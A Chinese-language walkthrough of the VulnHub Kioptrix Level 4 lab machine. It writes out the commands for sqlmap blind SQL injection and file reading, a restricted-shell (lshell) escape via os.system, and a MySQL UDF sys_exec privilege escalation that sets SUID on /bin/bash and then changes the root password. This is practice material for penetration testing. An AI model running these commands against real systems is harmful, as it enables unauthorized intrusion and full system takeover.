VulnHub - Kioptrix Level 4

环境：

靶机：172.21.137.114
Kali：172.21.137.36

流程：

• 信息收集，找到靶机IP，用arp-scan -l来找（靶机开启前后各扫一下，多出来的就是）
  

• 用Nmap命令nmap -sV --open -p- -T4 172.21.137.114，扫一下，看看服务和服务版本信息，发现有22、80、139、445端口开着
  

• 既然有Samba服务，先用命令smbclient -L 172.21.137.114 -N，获取Smba是3.0.28a版本的
  

• 直接用searchsploit samba 3.0，并未查到符合3.0.28a版本的exp可以利用
  

• 换个思路，直接访问80端口，发现一处登录窗口
  

• 先用dirsearch ./dirsearch.py --random-agents -u 'http://172.21.137.114' -e *扫目录，发现有个名为/database.sql的文件，浏览器访问，获取到用户名和密码
  

• 使用获取到的john账号密码在登录窗口登录失败，猜测密码可能已被修改，只能换个方向

• 先试试注入，输入admin'提交，发现没有任何报错，只是刷新了页面

• 使用burpsuite抓取提交的数据包，发现在密码处输入引号，会有SQL语句报错，但没有回显，怀疑是布尔盲注
  

• 那就好说了，直接把请求内容放进a1文件中，再把mypassword的值引号修改为*号，用sqlmapsqlmap -r a1 --random-agent --level 3 --batch来跑，成功发现SQL注入漏洞，且存在布尔盲注和时间盲注两种
  

• 继续跑库，用命令sqlmap -r a1 --random-agent --level 3 --batch --dbs发现其存在包括members和另外两个默认的数据库
  

• 然后跑members数据库中的数据表，用命令sqlmap -r a1 --random-agent --level 3 --batch -D members --tables，即可发现仅有一个members表存在
  

• 继续用命令sqlmap -r a1 --random-agent --level 3 --batch -D members -T members --dump，跑表内容的数据，获取两个账号及其密码
  

• 由于robert账号的密码加了密，放cmd5也没解出来，就用john在之前的登录窗口登录，成功进入
  

• 但问题也来了，登录后依旧显示的是账号密码，什么功能都没有，这怎么搞

• 这时候唯一能想到的就一个了，用这个账号密码在ssh服务那边登录

• 没想到还真的成功了，用john账号成功登录进服务器
  

• 紧接着发现一个严重的新问题，该服务器用了一个第三方的开源shell，对可用的命令是有限制的！使用所提供的help发现只有几个命令可用，并且输入一些敏感的命令会直接被踢出去，由于命令限制的原因！也无法使用命令注入来提权！
  

• 现在只有想办法脱出这个shell，才能进行后续的

• 查看了当前文件目录，在/home/john目录下，但没法切换路径；当前文件也能看到，但基本没什么用

• 在用 echo $PATH 发现可以看到环境变量
  

• 在kali上输入env，可看到所有环境变量，且可以看到SHELL变量的值
  

• 直接在靶机环境echo $SHELL，虽然被踢出去了，但还是获取到值为“/bin/kshell”，原来用的是kshell
  

• 但是要知道是什么版本的我们才能后续利用，这里需要结合之前sqlmap来读文件，使用命令sqlmap -r a1 --random-agent --level 3 --batch --file-read=/bin/kshell
  

• 发现可以读文件，问题是读的不全，仅获取到该shell使用python语言以及它的版本信息，但也够了
  

• 去谷歌一下，发现该版本lshell存在过相应的远程命令执行的漏洞，有EXP可用
  

• 下载下来后，执行python 1.py john MyNameIsJohn 172.21.137.114 22（该EXP有个让人无语的问题，就是明明他写的代码调用了sys模块的方法，却没导入sys模块，要手动在代码开头添加 import sys），就成功用EXP逃逸并执行其他命令了
  

• EXP执行成功后，又遇到两个问题，一是交互差，二是不够便利，网上查了下资料，似乎普遍都是用python的sys模块中的方法来执行系统命令，命令为：echo os.system('/bin/bash')，即可成功逃逸出来，且交互良好
  

• 接下来就要尝试提权了，用uname -a，获取到系统版本，再用工具查询到有脏牛可以用
  

• 再用命令getconf LONG_BIT获取系统版本是32位的，
  

• 但是这里用脏牛提权行不通，即使在靶机这边下载过来了用gcc进行32位编译好，也没法提权，会报错，要换其他思路

• 这里用ps -ef 看下进程，发现mysql是以root权限运行的
  

• 接下去就想办法用mysql来提权，先cd到/目录下

• 接着进入var/www/robert目录下，查看robert.php文件，发现数据库账号是默认的root，密码为空
  

• 用该账号登录mysql，命令mysql -uroot -p（注意 -p 后面要有个空格），然后直接回车两次即可进入
  

• 进入mysql后，用select load_file('/etc/passwd');可以读取文件，但并没什么用
  

• 这里谷歌查一下mysql 提权方法，关键词：mysql linux UDF privilege escalation
  

• 点第一个进去，是个用Mysql中UDF（User Defined Function）提权的EXP
  

• 整体操作流程可按照该EXP来操作，先在Kali编译好文件，然后用python开启端口，靶机那边把文件下载下来，再执行EXP里面的步骤即可，注意路径也要变化，建议下载到/tmp目录下再操作（由于本人靶机除了点问题，后续复现下载不了文件，所以没有图了，接下来会描述网上其他WriteUp的方法，用的也是同样的漏洞，但更快更简单）
  

• 先进入mysql,然后执行use mysql; -> select * from func;发现有sys_exec那个方法可用，可执行系统命令
  

• 然后执行create function sys_exec returns integer soname 'lib_mysqludf_sys.so';弹出提示显示sys_exec方法已存在
  

• 接着执行select sys_exec('chmod u+s /bin/bash');更改了/bin/bash的执行权限，表示当某一个用户调用这个可执行文件时暂时拥有该文件的拥有者权限
  

• 退出mysql后，用ls -l /bin/bash查看到文件的权限已成功修改
  

• 再输入bash -p，输入whoami就已经是root了，提权成功！
  

• 最后还要看下Flag文件cat congrats.txt就接近完美成功拉！
  

• 但由于本人还想直接登录进靶机，所以还额外在mysql中修改/etc/shadow文件权限，把靶机root账号密码修改成和john的密码一样的了（当然也可以用passwd命令来修改）
  
  

• 最后用john的密码以及root的账号来登录，就完美成功拉！！！：）
  
  PS：这里说明以下为什么可以用echo os.system(’/bin/bash’)来逃逸限制的Lshell，个人猜测是由于该Lshell是由python所写，且可用调用python中os模块的system方法来执行系统命令导致的。具体原因放在下面参考里都二条，可自行查阅。

参考：

• https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

• https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

• https://www.abatchy.com/2016/12/kioptrix-level-13-4-walkthrough-vulnhub

• https://www.willchatham.com/security/kioptrix-level-1-3-vm-4-walkthrough/

• https://infosecjohn.blog/posts/vulnhub-kioptrix-4/

• http://www.gcura.tech/kioptrix-level-1-3-4/

• https://www.exploit-db.com/exploits/1518

• http://www.ttlsa.com/safe/restricted-user-shell-environment/

• https://www.cnblogs.com/domestique/p/8056269.html

• https://blog.csdn.net/lwgkzl/article/details/81060016

• https://blog.csdn.net/m0_37438418/article/details/80289025

• https://www.cnblogs.com/R4v3n/articles/8722657.html